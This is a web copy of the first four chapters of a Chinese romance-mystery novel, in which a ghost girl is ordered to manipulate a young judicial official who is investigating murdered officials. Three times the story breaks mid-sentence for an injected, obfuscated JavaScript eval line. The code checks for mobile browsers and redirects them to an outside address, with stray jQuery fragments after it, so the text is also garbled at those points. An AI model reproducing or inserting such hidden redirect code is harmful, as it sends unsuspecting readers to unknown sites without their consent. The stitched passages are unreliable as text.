《被攻略后差点BE》 1. 小贼 夜黑风高,一个人影悄然从赵府后院墙角翻进院落,竹影斑驳,随风而荡,人影一个闪身到一间房中。 这间房是赵老爷生前的书房,时时让人打扫,所以珠玉宝器一件也未曾动过。 桌案上的墨玉砚、徽州毫笔仍整齐地摆放着,一如生前。 但小贼却并未对此动心,他要找的东西显然不在这堆古玩里。 “咚咚咚。”是沉闷的指敲木板的声音。 小贼脸上浮现出兴奋的神采,摸了摸那块木板周围的机关,一个按动,木板处有了东西。 他将里面的一叠信件揣进怀中,打算原路返回。 正要翻墙离开,不想有个刚从柴房出来的仆人发现了他,忙喊起来:“有贼啊,抓贼了!” 一时间赵府上下都慌做一团,火把点燃的火光朝这里过来。 小贼不知往哪跑,到一转角处,忽见一侍女站在墙角看他。 “你看得见我?”见他望过来,侍女惊讶地问。 他不想多说,正想怎么解决这个人,侍女却平静地说:“不想被抓就跟我来。” 天色昏暗,看不清面前人的模样,但她显然很懂得赵府的构造,和赵府下人兜了几圈,来到一隐蔽的墙角。 只听她说:“从这走。” 小贼未敢迟疑,翻墙而出,不想这女子竟然跟了出来。 月光从云层中露出面,照亮面前人的模样。 是个大概十七八岁的姑娘。 眼睛很亮,笑盈盈的,梳着双环髻,发带垂到耳边,额角露出一点碎发,并无其他发饰,荆钗布裙难掩其灵秀,更显得她娇俏可爱。 姑娘也看清了他,笑着说:“没想到你看着文质彬彬,却是个贼。” 小贼回敬:“没想到你一个赵府侍女,居然会帮我这个贼。” 姑娘并不跟他争辩,只说:“今晚估计要下夜雨,你还是早些离开。” 身后赵府家丁的喊声愈大,小贼不敢耽误,迅速离开。 回到府中,脱下夜行衣,换上平日的装束,原来是个贵公子。 他是杜府二公子,从五品大理正杜文焕。 烛光映照出他的模样,剑眉星目,鼻若悬胆,唇红齿白。弱冠之年应是年少轻狂,他却忧思难解,不见笑容。 从赵府偷出的信件整齐地叠放在烛台旁,他一封封看去,蹙眉愈深。 …… 一处与赵府完全不同的庭院,刚才那个姑娘站在庭中一棵大柳树下,抬头看着天上半藏入云层的月亮。 从很久之前开始,月亮一直都会勾起游子思乡的情绪。 而对她来说,这种思乡的情绪落不到实处,因为她不知道自己是谁,家乡在何方。 这时屋里出来一个蒙着厚重面纱的女子。 在浓重的夜色里,她整个人掩藏在轻纱之中,辨不清面容和年纪,显得神秘而诡谲。 她说:“希夷,你去哪里了?” 希夷恭恭敬敬地回答:“赵府。” “你去那里做什么?” “官员被杀案一个月未曾告破,坊间说这事古怪离奇,有冤魂作祟,”希夷笑道,“我这个‘冤魂’倒是想去看看有没有我的同类。” 在层层面纱之下,神秘女子的表情看不分明,她的语气平淡而冷漠:“我要跟你说的就是这件事。” 希夷心里咯噔一下,她立在台阶下,抬眼看着神秘女子。 一年前希夷因为触碰禁术被赶下山,辗转来到京城,被神秘女子抽出魂魄,供她驱使。 希夷对发生的一切倒是安之若素,偶尔还可以开个玩笑,而每次有任务指派,神秘女子都是这种语气。 又有事情需要做了,即使是她不愿意做的事。 “您需要我做什么?”希夷正色问。 神秘女子拿出一个卷轴,递给她。 希夷接过,打开一看,右边是从吏部黄册上抄录下来的,记载了这个官员的档案信息。 画像上的人名为杜文焕,是京城杜府第二子,少有大才,远近闻名。 他十七岁因殿试时的策论立意高妙,字字珠玑,又兼容貌出众,被皇帝亲点为探花。 后因博学宏词一科成绩优异,被当时的主考官高琦看中,选入秘书省做九品校书郎。 九品校书郎品阶不大,却被时人看作“清流”,许多宰辅也是从校书郎做起,是文士初做官的良选,秘书省的校书郎更是优中之优。 只是没多久,杜文焕就自请调离京城,去偏远的州县做了一个小小的县尉。 三年之后被升为从七品县令,而几天之前入大理寺,官阶越级升到从五品。 这经历非一般人所有。 维咸国的官吏的官职变迁有一套规律,初做官时外派是常事,升迁时会调任回京,给一些品阶不高但手握实权的官,又或是一些被认为是“清流”,实际上并无实权的散官过渡。 但这个杜文焕却并不属于此类,擢升时并未回京任官,一回京竟是连升两品,手握实权。 这个人如果不是才华出众,就是朝中有人在帮扶他。当然也可能二者都有。 不过大理正虽算是中层文官,倒也体面,但这要是在一个月之前,自然可被夸一句年少有为。 只是目前的大理寺是众多官吏避之不及的地方。即使是从五品,也落不到什么好处。 希夷又转而看左边那幅画像,是一个俊秀的年轻官吏。这副画像只草草描了几笔,但力求传神,把他意气风发的模样也一同描绘出来。 希夷惊讶出声:“是他?” “你认识他?” 希夷顿了顿,还是将今日碰到他的事隐瞒了,说:“并不认识,只是大理正这个名头有些眼熟。” 神秘女子说:“这就是我之前要你留意此事的原因,如今大理寺只有这一个官员对官员被杀案上心。所以要让幕后黑手出现,需要借助他的力量。” “为什么?” “幕后黑手在暗处,如果我们也在暗处,容易引起提防,反而需要大张旗鼓。而你,只需操控这个官员,抓住幕后黑手。” 希夷沉吟了一会,神秘女子之所以要抓住这个“幕后黑手”,自然不是为了匡扶正义,而是这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420036|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官员被杀案的背后有一股未被发觉的势力。 京城早就暗流涌动,暗处各种阵营相互攻讦,但并无一个会光明正大地拿代行皇帝权力的官吏开刀。 所以这次官员被杀一案才会引起如此大的轰动,加上迟迟未曾破案,皇帝迁怒于侦查此案的官吏三十余人,更让此案蒙上了一股神秘而恐怖的色彩。 这也意味着,凡是想侦破此案的官吏,所遇到的阻力并不会小。 当然,如果成功,加官进爵也是水到渠成。 “那他怎么办?” “高官厚禄,金银财富,这些人需要的大抵如此,”神秘女子说,“而且,这个叫杜文焕的官员对此案十分执着,执念就是与他谈判的工具。” 希夷暗暗轻笑一声,执念确实是操控人的筹码,她也是因为寻找家人的执念落到如今驱使的地步,神秘女子深谙此道。 而杜文焕看起来不过只是一个普通的官吏,不应该去试图用财富和权力扭曲他。 所以希夷说:“可是人心易变,高官和财富只是一时的。用这个去诱惑他,您不怕他为了更多的权力和财富背叛我们吗?不如交由我一人查探。” 神秘女子摇摇头,说:“你只会让埋藏在暗处的黑手隐藏得更深。有一种古老的巫术,鬼魂吞噬活人的鲜血后,可以操控这个人的心智,而作为交换,活人可以要求鬼魂实现他的心愿。” 还未等话音落下,希夷立刻反对:“不,我不愿这么做。” 话说得有些急切,她连忙解释:“这是一种害人的做法,我答应这两个月帮您做事,可是我并不想让自己的手染上他人的鲜血。” 神秘女子被打断后愣了一下,反应过来后却并不生气,她无奈地笑了一声,像长辈对幼稚的晚辈说:“收起那些不必要的仁慈,他们并不无辜。而且,你不想知道你父亲的消息吗?” 听到“父亲”,希夷连忙问:“您知道他在哪吗?” “是,”神秘女子回答,“他受官员被杀案牵连,被关在大理寺监狱之中。只要你将此案解决,我会亲自将他接回来。” 希夷知道她说到做到,尽管心中仍旧有许多疑惑,但即使问出口,神秘女子也不会回答她。她思虑半晌,终于点点头答应道:“我会遵从您的命令解决此事。” “嗯。”得到了满意的答复,神秘女子也不再和她多聊,转身进了屋。 “啪嗒,啪嗒。” 随着几点雨落在柳叶上的滴答声,更多雨滴大颗大颗地从乌沉沉的黑云中落下,打在屋檐上、青石板上、泥土里。 对希夷来说,这雨水恍若无物,从她的身体穿过。 她抬头望天,月亮已经完全被黑云覆盖,但在她的心中,那轮象征着故乡的明月仍在夜空高悬,对身份的渴望愈演愈烈。 我是谁?这是她已经问了许多年的问题,也许不需要多久,她就能得到答案。 不过她心里仍旧有一丝不安,今夜遇到的那个小贼竟然是一个官阶不小的官吏。 他是去赵府找什么呢? 也许他跟她一样,有许多不可宣之于口的秘密。 2. 追杀 时年八月,夏末秋初,余热还未散尽,秋老虎把路上的行人逼得直擦汗喘气。 大理寺里,卷宗堆积如山,一小吏坐在桌案前呼呼大睡,乌纱帽都歪在一边。 门外走来一个年轻官吏,见状,敲了敲他的桌子:“别睡了。” “······”没有反应。 “别睡了!” 小吏被这大声一喊惊得从长长的睡梦中惊醒,他擦干嘴角的口水,茫然地看了看周围,才发现面前站了一个身穿朱红色圆领袍的官吏。 小吏回过神,结结巴巴地从口中吐出几个词:“杜,杜大人。” “陆甲,今天天气这么好是给你睡觉的吗?”杜文焕皱起眉头,严肃的样子让陆甲想起家里八十岁老爷爷还健康时训斥自己的模样。 “可是杜大人,这文书压根就看不完啊。”陆甲指着那片纸堆说。 “分一半我看吧。”杜文焕叹了口气,这人只会帮倒忙,还得自己亲力亲为。 “好嘞。”陆甲屁颠屁颠地就要将文书全部搬到杜文焕的桌案上。 两人正这么说,这时从外头进来了个绯衣官吏,他五十多岁,身宽体胖,窄面小眼,留着三捋胡须,看人总是先匆匆打量一眼,眼球一转,再转回来对视。 他的背有些佝偻,习惯右手食指绕一圈胡须再捋一遍,显出几分狡黠的心思,但又满脸笑容,让人看不清眼中的深意。 他是现任大理少卿,也是前任大理卿的学生之一——罗源。 罗源迈着步子从外走进,将大理寺凋敝的景象收入眼中,见杜文焕专心看卷宗,随口问了一句:“文焕,这几日并没有什么大案,你是在看什么?” 杜文焕从纸堆中抬起头,他略显青涩的脸庞上因为连日看卷宗审批文书而显得有些疲惫,下巴上也长出一点胡渣来。 “这是官员被杀案的卷宗。”杜文焕眨了眨因为长时间伏案而酸涩的眼睛,回答道,“我再看看有什么之前不曾注意到的地方,老师肯定会留下线索的。” “唉,”罗源叹了口气,说,“何必执着于这个案子呢?” 他又指了指周围,说:“你看看现在的大理寺,因为这个案子去了多少官员?之前老师在的时候还有些盼头,可老师仙逝之后,大理寺的官吏便不再抱期望,有的外调,有的自请辞官,导致现在就剩下我们这几个。你觉得,我们还要揪着这个案子不放吗?” 杜文焕等他说完,坚定地摇了摇头:“少卿,我们可以忘记,但百姓不会忘记。多年之后,等他们再提到这个未被解决的案件,就会说我们这群官吏不过是一群吃官粮不办事的闲吏。民言可畏,如果失去了他们的信任,再要重拾就难了。” “你?唉!”罗源见他听不进去,不由得带了点怒气。 但他所言也没错,这番怒气百转千回化作无奈:“你我师出同门,老师前不久又仙逝了,我自然要多关心你。你要查案,可以,但老师之前的手稿早已散失,那些官员的家人早就将他们下葬,你去哪找线索?!” 杜文焕面对他的质疑,并没有慌张,而是拿出几张半新不旧,写满字迹的纸:“我前几天一直在案牍库整理卷宗,发现有几张手稿藏在一堆杂乱的案卷中。上面提到了户部侍郎郑敬荣,或许这会是一条线索。” 罗源看到手稿惊了一瞬,听到他说这番话,知道再劝也没用,说:“现在他们这些官吏巴不得跟这件事扯不上关系,你去找他说不定会吃闭门羹。” 杜文焕点点头:“的确,我去过,但他始终推说身体不适,不愿见人。” 罗源笑了一声,仿佛这一切意料之中。这个师弟心是好的,就是为人太正直太死板了一些。 难怪老师这么偏爱他,连这大理正的位子都是老师上书推举的。 想到这,他不由得有些嫉妒,毕竟他已经五十多岁才坐到大理少卿的位子,杜文焕的官场之路比他要顺得多。 想到这,他改变了劝服杜文焕的主意,说:“郑敬荣喜爱一小妾,名为赵怜,她有一干娘,就住在城西青龙巷。” 杜文焕不知道他为什么突然改了主意,心中有些怀疑,但这也是一个办法,便道了一声谢:“多谢少卿。” 等他看完卷宗,走出大理寺时,才发现已经到了黄昏。 正碰上着急跑出门,准备回家吃饭的陆甲。 “······” 大眼瞪小眼,陆甲也不敢动。 杜文焕无奈地说:“唉,算了,你回去吧。” “那下官就先告退了。”说完,陆甲快步离开,没走几步就跑了起来,就好像身后有怪物在追似的。 杜文焕朝天边看了一眼,日落的晚霞挂在天上,染红了原本碧蓝的天空。几只大雁结成一队划过天空,扑腾的翅膀不似白天那么有劲,像是被日落放缓了速度。 这对劳累了一天的人们来说是一个归家的信号,意味着他们可以放下白天的劳动,与家人一起轻松愉快地度过黄昏到傍晚这段悠闲的时光。 登上马车,杜文焕对车夫说:“先去城西的青龙巷。” “是。” 到了青龙巷,杜文焕怕自己一身官服吓到别人,便要车夫先下去打听赵怜的干娘在不在。 车夫很快就回来告诉他,邻居说她出门了。 今日见不了,杜文焕只好作罢。 马车的车轮又徐徐前进,往杜府驶去,身后那座房子的烟囱里飘出几缕青烟,与渐沉的天色融为一体。 马车一路颠簸,杜文焕在想事情,突然觉得有些不对。 这附近是热闹的街区,即使到了晚上,也有些小贩叫卖,今天却出奇地安静。 还没等杜文焕掀开车帘,一声极近的惨叫刺入耳中,随即马匹与马车相连的绳索被斩断,车因为惯性仍往前了几步,他差点被甩出车外。 可还没等稳住身体,一把尖刀直直插入木板,擦过手臂。他连忙躲闪,逃出车外。 两个持刀蒙面的黑衣人正恶狠狠地看着他,这二人都训练有素,且目标明确,就是要在这里致他于死地。 这里是东街,沿路都是一些商铺,此时也早就关门歇息,空荡荡的街道上连个求助的地都没有。 在这种地方他就像砧板上待割的肉。 杜文焕的车夫此时也不知道跑去哪了,但黑衣人的目标就是他,也不会管车夫。 “你们是赵府派来的人?”杜文焕一边冷静地问,一边后退,寻找藏身之处,“刺杀朝廷命官是死罪,如果你们就此离开,我绝不追究此事。” 黑衣人并不跟他废话,一刀劈砍过来,被杜文焕躲开,背后又来了一刀,又被他巧妙躲开。 两个黑衣人对视一眼,似乎是在说,这个人不会武功,怎么跟个泥鳅一样滑。 杜文焕趁他们愣神,撒腿跑开,就要到一个黑暗的小巷口,黑衣人却不放过他,手中的刀以极快的速度破空而来,杜文焕避不及,眼看就要砍中他,刀头突然偏离,砍在旁边的墙上。 一种看不见的力量又是牵住他的手,又是推他,将他带到小巷暗处,左拐右拐,到一个拐角的僻静处停下。 杜文焕也不敢动,外面的声音越来越小,他才松了一口气。 可他又提起心来,刚才发生的事十分诡异,他环顾四周,并没有看见人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420037|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这让他心里疑虑更甚。 “你在找我吗?” 杜文焕被吓了一跳,惊恐地转过头,眼前却不是想象中扭曲丑陋的样子。相反,是一个看起来年纪与自己相仿的姑娘。 “是你?!”杜文焕惊讶地问,“你怎么会在这!” 姑娘笑道:“又见面了,怎么每次碰见你,你都这么狼狈。” 杜文焕并不信任她,后退了几步,警惕地说:“你是赵府的侍女,你是来拿回那些信的?” 希夷摇了摇头,说:“放心,我是来帮你的。他们还没走远,你快回去吧。我知道一条小道,可以避开他们,跟我来。” 杜文焕迷迷蒙蒙地跟着她走,走着走着,走到一处昏暗的巷子,之前被黑云遮住大部分的月亮终于拨开云层,月光洒在巷子和走在前面的那个少女上。 杜文焕这才惊讶地发现她是用飘的,而且没有影子! “你怎么不走了?”发现杜文焕没跟上来,少女又转了回来。 “你,你别过来!”杜文焕活了二十年,从来没碰到过鬼,之前的冷静都不翼而飞了。 他朝来时的路跑回,但这路实在太绕,一时不知道往哪里走,不曾想居然走入了死胡同。 鬼魂追了过来,杜文焕还想再跑,已经来不及了,被堵在巷子之中。 杜文焕靠着冰冷的砖墙,面对越来越近的鬼魂,他的语气有些颤抖:“你,你想做什么?” 鬼魂背对着他,脸庞显得有些阴森,杜文焕往旁边摸了摸,想找出点防卫的武器,终于摸到一根不知是竹竿还是什么的东西。 等鬼魂到他面前,杜文焕闭着眼挥舞过去,可什么声也没有。他悄悄睁开眼,却发现竹竿从鬼魂中间穿过,压根就伤不了她。 这下杜文焕绝望了,鬼魂越贴越近,连指尖都惨白的手朝他伸去,他认命地闭上眼睛,可也没等来想象中的疼痛。 他睁开眼,鬼魂没有掐他的脖子,而是握住他的手臂说:“你受伤了。” 他才发现自己的右臂受伤流血,鲜血把那块衣料都染透了。 刚才他的精神一直在紧张中,压根就没感觉到疼痛。 鬼魂先是想把自己的衣角撕一块下来,但她的衣服也不过就是幻影,根本没法替人包扎。 于是她看了看杜文焕,后者被看得心里一惊。 但鬼魂也并没有伤害他,只是将他的衣服撕了一角,替他止血。 杜文焕乖乖被撕掉衣服的一角,等鬼魂做完这一切,方才醒神,问:“你为什么帮我包扎伤口?” “因为你流血了啊。”鬼魂答,她的动作很轻柔而且娴熟,很快就替他包扎好了。 “······”杜文焕对于这话不知道该答些什么,只是心中的恐惧驱散了许多,放松下来,一些念头莫名其妙钻入脑中。 比如说,为什么每次碰见她,都是在这种被人追捕的情况下?为什么每次自己都这么狼狈? 这么想着,抬眼便对上她温柔而带着浅淡笑意的眼睛,里面清澈而纯净,一眼就可以看透,杜文焕又匆匆移开眼睛。 鬼魂似乎是觉得他害怕,安慰他说:“别害怕,我不会伤害你的。虽然我是鬼,但我是个好鬼。” “······”杜文焕从没跟鬼说过话,此时也不知道该说些什么。幸好他还记得自己要回家,挣扎着起身。 鬼魂本来还想帮他,但见他避开的样子,只好作罢。 她笑了笑,说:“跟着我走吧。” 杜文焕不得已,继续跟着她。 不仅如此,鬼魂怕他又跑开,便放慢了脚步,与他一前一后往前行。 3. 契约 “到了。”不知道过了多久,鬼魂轻灵的声音打破了沉默。 杜文焕抬起头,巷子已经走到了出口,不远处便是杜府。 “你怎么知道······”杜文焕回过头还想再问,身后却早没了那个鬼魂的身影。 杜文焕呆愣在原地,血液上涌,良久才找回双脚,跌跌撞撞回到杜府。 杜府门前摆着两个石狮子,还算得上新,年代并不久远。 正门的牌匾上用楷书写着“杜府”两个烫金大字,左右各有一联,上联是“诗书传家远”,下联是“礼义继世长”。 门口两边还挂着灯笼用来照明,两个小厮站在两侧门前,见杜文焕走来,却又没见马车,疑惑地对望一眼。 等杜文焕走近,连忙低头行了个礼:“二公子好。” “嗯。”杜文焕应了一声,过了大门。 虽然已经到了晚上,但杜府的下人却并不闲着,丫鬟和小厮来来往往,又是搬花又是准备晚膳。 他叫来一个丫鬟,说:“打些热水到我房中来,再拿些干净的纱布。” 丫鬟见杜文焕脸色苍白,衣着杂乱,手臂还受了伤,忙上前搀扶:“公子,你这是怎么了?” “没事,”杜文焕摆摆手,拒绝了丫鬟的搀扶,“再给我沏壶茶送房里吧,此事不要声张。” “是。” 回到西院,杜文焕越想越觉得奇怪,刚才看见的那个姑娘行如鬼魅,却没有伤害他,反而帮他避开杀手。 她为什么会帮他呢? 杜文焕怎么都想不明白,待丫鬟拿来热水和纱布,他从房中拿出金创药,小心而快速地清理好伤口,又用纱布包扎好。 换好了常服,他又在书房中看了一会书,丫鬟便来请他去前厅用膳。 “我知道了。” 来到前厅,其他人都已经坐下等着动筷了。 杜老爷坐在主位,眉毛浓厚,胡须深长,一副刻板严肃的样子。坐在他左手边的是杜夫人,她年纪不过四十左右,风韵犹存,抱着一个大概七八岁的男孩。 坐在杜夫人旁边的是杜文焕大哥杜尧的妻子,也就是杜文焕的嫂子展婉,她二十六岁,发髻挽成妇人样式,眉眼柔和,也是个美人。 杜文焕在众人的视线中走到杜老爷右手边坐下,等杜老爷夹了菜,其他人方才动筷。 凝固的气氛随着饭菜的热气渐渐松动,杜夫人露出一个笑容,给杜文焕夹了一块鸡肉,说:“文焕已经在大理寺劳累了一天,想必已经很累了,吃块鸡肉补一补。” 杜文焕道谢:“多谢母亲。” 杜老爷却不以为意,冷哼一声:“累也是他自找的。聪明人都走了,他守在大理寺能得什么好?” 杜文焕不争辩,也不看杜老爷,手中的筷子没停。 这种话他回来之后几乎天天都会听,杜老爷换着法子呵斥他,已经习惯了,不如趁机多吃几口。 “老爷,别这么说,”杜夫人一边替幼子擦掉脸上沾着的饭粒,一边说,“文焕只是太年轻,又被他老师摆了一道。再忍忍,等那个案子差不多过去了,以文焕现在的大理正之位,那不得给你在同僚面前争光。” “呵,”杜老爷嘴上仍然不饶人,冷笑道,“也就是个从五品的大理正,还在随时可能被贬黜的大理寺。而且这官也是靠他老师求来的,算不得什么。” “父亲,”杜文焕听不下去了,放下筷子,但仍旧尽力保持恭敬和礼数,“对您来说,肯定看不上这‘区区’从五品。至于争光,也许从我调任离京的那一天开始就不能给您了。当然,也许更早。” “逆子!”杜文焕明明是平和的语气,却让杜老爷从心里腾出一股火气,“你以为十七岁中探花就是少年天才?不规划自己的出路,迟早泯然众人!到时候别说是我杜家出来的!” 除了杜文焕,所有人都被这突如其来的火气吓了一跳,不敢吱声。 “这是当然。”杜文焕冷静地点点头,并没被吓住,不紧不慢地用帕子擦了擦沾了点食物碎屑的嘴角,就起身告辞。 “那父亲、母亲、嫂嫂,我先回房了。” 只有展婉轻轻点了点头。 他大步朝外走去,只留下身后碗筷碰撞的声音。 外面已经完全暗淡下来,夜空中点缀着几颗星子。 没有月亮的夜晚,有些星星抱团闪烁着光芒,只有一颗忽明忽暗的星离它们远远的,那忽闪忽闪的银光像是它垂下来的的泪水。 因为和杜老爷吵架,晚膳没怎么吃,杜文焕自己在房中吃了点。 “看起来很好吃。” 听到熟悉的声音,杜文焕惊恐地回过头。 少女幽幽地站在窗前,月光照在她身上,像是披上了一层柔和的软纱,她嘴角带着浅笑,明眸善睐,靥辅承权,站在那像是一尊栩栩如生的白瓷雕像。 “你,你来做什么?”杜文焕无心吃饭了,语气颤抖着问。 “你没在话本里看过吗?”少女眨巴着眼睛走到他旁边坐下,凑到他耳边,天真地说,“冤魂索命啊——” 杜文焕吓得从椅子上蹦起来。 他舌头仿佛打了结,但还有理智:“我,我又没做亏心事,怎么会招来冤魂?你是什么人,装神弄鬼!” “这不就对了嘛,”少女笑道,“你没做亏心事,为什么要怕我?在巷子里好言安慰都没用,居然还是得吓一吓嘛。” 她看了一眼杜文焕的右手手臂,那儿并没渗出血,便知他已经处理好伤口了。 “你是谁?”杜文焕被吓了几次,心里也逐渐接受了,冷静地询问她。 “我嘛——”少女拉长声音,“询问我的名字,不先介绍介绍你的吗?” “你不知道我是谁?”杜文焕不怕她了,脑子自然动得快,“那你怎么知道我住在杜府?” “身为一只鬼魂,我自然有一些你这种活人没有的本事。”少女不吃他这审犯人的一套。 杜文焕被气到没话说,也闭嘴不说话了。 少女见他气鼓鼓的模样,更开心了,但她忍住笑说:“别生气,我告诉你就是了。” “嗯。”杜文焕应了一声,侧坐在她身边,也不看她,盯着桌面,耳朵却竖起来准备听。 “我叫希夷,”少女说,“从醒来后就发现自己身在东街,本来是想投胎转世,但不知为何一直做不到,只能被限制在东街。某天一个世外高人来到了东街,她一眼就看见了我,给我取名‘希夷’,并告诉我,我的魂魄不全,唯有帮人积福才能填补空缺,投胎转世。” “但是这些日子一直都无事发生,直到你来了,”希夷认真地看着杜文焕,“你身上有浓厚的不详之气,如果我可以一一帮你化解,那我一定就可以投胎转世了。” “······”对一个二十年都不相信有鬼的人来说,这实在太匪夷所思了。如果这是一个道士跟他说的,他都会觉得那人招摇撞骗,但面前是一个实打实的鬼魂。 而且他俩还心平气和地坐下说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420038|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这实在太奇怪,太奇怪了。 “那你去赵府做什么?”杜文焕还是觉得遇到她的时机太巧了些。 希夷说:“赵府有许多珍贵的宝物,我想寻找一个可以温养魂魄的物件。” 杜文焕想到之前所见赵老爷房中的珠玉宝器,并非一般人所能拥有。赵老爷生前肯定收受大量贿赂,那些信件上也涉及此事。 希夷见杜文焕沉思,便以为他已经信了七八分,趁机转移话题:“那你去赵府做什么?” 杜文焕反应过来,也说:“赵老爷的书房收藏了古往今来的大家书画,不予人看。我想观赏一眼。” “哦。”希夷知道他肯定从书房里拿了些什么出去,但既然他不明说,也不好多问。 这二人睁着眼睛说瞎话,互相不信对方这番说辞,但面上都不表现出来。 希夷又劝他说:“我知道你不信我,但是今天的事你也看到了。如果没有我,你今夜就是刀下亡魂。虽然我不介意你和我做伴,但是你肯定不想吧。” “······”杜文焕对这姑娘说出口的话简直无言以对,她不像之前所遇到的大家闺秀那样矜持有礼,难道是普通农户出身,衣着打扮倒也像,只是灵秀的气质非寻常人可比。 也许是中等之家,从小养在山中教习的,才养出这样的姑娘。 不过死者长逝,纠结生前的身份也没什么意义。 “你作为一只······鬼魂,不能在白天出现吧?”杜文焕勉强知道一些关于神鬼的事情。 “但我白天待在大理寺,又或者到处跑,”杜文焕说,“要不就算了吧,你去找别人?” “不大行,”希夷撑着下巴,“除了你,我目前还没看见有几个人的黑气有你这么重的,还是帮你的福气积累得最快。” “······那我能以我个人的意愿拒绝吗?”杜文焕还想再挣扎挣扎。 “不能。”希夷笑道,她知道杜文焕一直在怀疑她的能力和意图,眨了眨眼睛,信誓旦旦道:“放心,放心,让我待在你身边,我会有用的。你难道没有什么特别想实现的事吗,我可以帮你。” 杜文焕想到那件案子,本想拒绝,说自己可以解决,可是他想到罗大人的劝说和家人的不理解,自嘲地笑了一声。 他改变了主意,但心里仍有一丝怀疑,问:“刚才你说,你帮我,而我实际上不用付出什么?” 希夷心里一咯噔,这人一向小心谨慎,不需要付出代价的事,他未必会相信。 她脑子转得飞快,依旧保持刚才的笑容,说:“当,当然不是。会损害你的精气,表现嘛,大概就是眼下发青,困倦无力,就像你现在这样。” 杜文焕干脆地说:“我答应你。” 自己如今孤立无援,即使需要依靠这些神鬼之事,他也要查下去。 他虽不相信这只来历不明的鬼魂,但她也许是现在唯一可以推动案情的的力量了。 希夷本以为还要费一番口舌,谁知道他一下就答应,一瞬间不知道说什么。 杜文焕又说:“那我们之间需要签订什么契约?不然我怎么相信你会履行诺言?” 她说:“你明天去东街,那儿有个道观,里面有个陶罐。把它带回来,我明天会告诉你的。你好好休息,我明天再来。” 说完便不见了。 “哎——”杜文焕看看周围,依旧是她没来前的模样,只是饭菜已经凉了。 真是一只来无影去无踪的任性鬼魂。 4. 陶罐 杜文焕早早便到了大理寺。 昨晚他做了半宿噩梦,梦里的他在被两个面容扭曲的怪物追赶,忽然其中一个怪物手中寒光一闪,在那把匕首刺到他之前,梦醒了。 他揉了揉眉心,最近发生太多事,晚上也睡不安稳,他只有多看看这些案牍才觉得精神安定一些。 今日早来也是为了尽快处理文书,好向罗源告假。 与杜文焕不同,陆甲精神萎靡,打着哈欠从外走进,见了杜文焕,随意打了个招呼:“杜大人早啊,今天又是要看一堆文书吧。” “嗯,早。”杜文焕礼貌地应了一声,抬眼看了一眼陆甲,却不想看到他脸上都是红肿的小包,“你这是······” 陆甲正想遮遮掩掩盖住,既然被发现也不好隐藏,只好说:“我昨天去看家母的时候被咬的,青龙巷的蚊子可真毒啊,秋天了还这么多。还好我早搬离那儿了。” 听到“青龙巷”,杜文焕心念一动,放下手中的文书,问:“令堂住在青龙巷?” “是啊。”陆甲抓了抓手臂上的蚊子包,“昨儿去看望家母时太晚,用完晚膳之后就在那下榻了。” “那你认不认识一个赵大娘,她有个干女儿是郑敬荣的小妾?” “赵大娘?”陆甲回忆了一下,恍然道,“哦,您是说喜欢给人做媒牵线的赵婆子吧!” 杜文焕眼睛一亮:“你认识她?” “认识,”陆甲回答,“她在我们那一条街可有名了,虽然是坏名声。” 杜文焕追问:“这从何说起?” “其实也没什么,”陆甲坐在木椅上,说,“她早年喜欢诱骗良家妇女给一些有点闲钱的老头当小妾,从中赚点佣金。后来不知道从哪得来一笔钱,从此吃喝不愁,也干起正经的媒人生意。但我们那一条街都知道她早年是做什么的,也没人会让她做媒。” 杜文焕本来只是想让这赵大娘作为和郑敬荣接触的桥梁,没想到知道了这些,直觉告诉他此人或许有值得深挖的地方,便问:“那她的女儿赵怜嫁给郑敬荣做小妾也是她牵的线?” 陆甲摇了摇头,说:“这倒不是。赵怜是赵府家的歌女,这个赵婆子早年也在赵府做下人,讨口饭吃。后来郑敬荣看上了赵怜,赵老爷就把她送给了郑敬荣。虽然是做妾,但也不能没有娘家。赵怜无父无母,就拜了这个赵婆子当了干娘。从那之后,赵婆子的生活也好了起来。” 杜文焕听完,饶有兴味地说:“这赵怜既然要拜干娘,不拜别人,居然要拜这个名声不好的赵婆子当干娘。这赵怜又是从哪来的?” 陆甲思考了一下,说:“这下官不太清楚,只知道自从赵家来京城,她好像就在了。下官去看家母的时候听这个赵婆子提过几句赵怜。说赵怜孝顺,经常送她一些金银细软,让她吃喝不愁。” 陆甲这番话在杜文焕心中的谜团愈来愈多,但他反而兴奋起来,毕竟谜团越多意味着揭开谜底的线索越多,他说:“对一个随意拜的干娘如此孝顺,这赵怜与赵婆子之间肯定有些什么。” 陆甲不大明白他的意思:“这下官就不知道了。” 杜文焕说:“没关系,你让我已经知道许多了。还有件事请你帮忙。” 陆甲:“大人请说。” 杜文焕:“我要你带我去见赵婆子。” ······ 